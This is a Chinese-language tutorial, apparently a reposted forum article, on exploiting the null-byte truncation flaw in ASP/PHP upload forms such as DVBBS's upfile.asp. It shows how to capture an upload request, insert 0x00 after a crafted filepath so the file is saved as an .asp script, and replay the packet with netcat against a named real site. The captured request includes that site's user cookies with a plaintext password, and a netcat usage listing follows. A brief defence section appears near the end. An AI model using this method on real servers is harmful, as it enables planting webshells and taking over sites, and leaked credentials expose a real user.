PHP/ASP上傳漏洞探究

1:傳漏洞利用的原理隻是針對form格式上傳的asp和php腳本*** nc(netcat) 用於提交數據包 dos界面下運行: nc -vv www.***.com 80<1.txt -vv: 回顯 80: www端口 1.txt: 就是你要發送的數據包 (更多使用方法請查看本區的帖子) wse(wsockexpert) 對本機端口的監視,抓取ie提交的數據包
2:漏洞原理 下面例子假設的前提 www主機: www.***.com; bbs路徑 : /bbs/ 漏洞源於對動網上傳文件的研究,建議有一定編程經驗的 看看dvbbs的upfile.asp文件,沒有必要全部看懂 upfile是通過生成一個form表上傳,如下

用到的變量: filepath 默認值uploadface 屬性hiden act 默認值upload 屬性hiden file1 就是你要傳的那個文件 關鍵是 filepath 這個變量! 默認情況下我們的文件上傳到www.***.com/bbs/uploadface/ 文件是用你的上傳時間命名的,就是upfile裡的這一句 filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext ————————————– 我們知道計算機裡面的數據是一""為標致的用過c語言的都知道 char data[]="bbs" 這個data數組長度是4: b b s 如果我們構造filepath如下,會怎麼樣呢? filepath="/newmm.asp" 我們在2004.09.24.08.24傳的文件就會發生變化 沒有改時: _blank>https://www.***.com/bbs/uploadface/200409240824.jpg 用我們構造的filepath時: _blank>https://www.***.com/newmm.asp/200409240824.jpg 這樣當服務器接收filepath數據時,檢測到newmm.asp後面的 就理解為filepath的數據就結束瞭 這樣我們上傳的文件,比如c:.asp 就保存成: _blank>https://www.***.com/newmm.asp 3:後期補充 漏洞公佈以後很多網站做瞭相應的處理,但是對於filepath的過濾和處理都不行 有很多網站隻是加瞭n個hiden屬性的變量對付網上公佈的upfile.exe就是那個 上傳漏洞利用工具或者filepath變量利用工具(老兵的)…但是最基本的沒改啊。。 而且很對網站的插件裡有類似的漏洞,我要說的不要依賴哪些專門的工具 自己改wse抓到的包裡的filepath變量,然後在用nc提交。。。 就算他加n個hiden變量也於事無補。 當然,如果對filepath做瞭很嚴格的過濾的話我們的這些理論就將宣告終結 就是我們的新理論誕生的時候! 4:詳細實例: ——————— 一、wse抓包結果(存到1.txt裡): post /bbs/upphoto/upfile.asp http/1.1 accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* referer: _blank>https://www.xin126.com/bbs/upphoto/upload.asp accept-language: zh-cn content-type: multipart/form-data; boundary=———–7d423a138d0278 accept-encoding: gzip, deflate user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322) host: _blank>www.xin126.com content-length: 1969 connection: keep-alive cache-control: no-cache cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84 —————————–7d423a138d0278 content-disposition: form-data; name="filepath" ../medias/myphoto/ —————————–7d423a138d0278 … … 上傳 —————7d423a138d0278—————– 二、ultraedit打開1.txt改數據: …… —————————–7d423a138d0278 content-disposition: form-data; name="filepath" /newmm.asp█ www.xin126.com 80 16位表示:0x00或者00h 其實你改的時候就直接再filepath的結尾處加個00就ok瞭 計算cookies長度===>你把fillepath改瞭之後、肯定是或+或—cookies的長度變瞭 …… host: _blank>www.xin126.com content-length: 1969 我們的對策就是把filepath變成常量。。。 這個方法是目前最有效的(我認為的) 2、加強對於的處理,原來我們是讀到這裡就結束 我們繼續讀直道下一個變量開始的地方,處理就ok瞭 附:NC Usage: 監聽外部主機 nc [-options] hostname port[s] [ports] … 監聽本地主機 nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -g num source-routing pointer: 4, 8, 12, … -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -l listen harder, re-listen on socket close -n numeric-only ip addresses, no dns -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer telnet negotiation -u udp mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-i/o mode [used for scanning] port numbers can be inpidual or ranges: m-n [inclusive]

發佈留言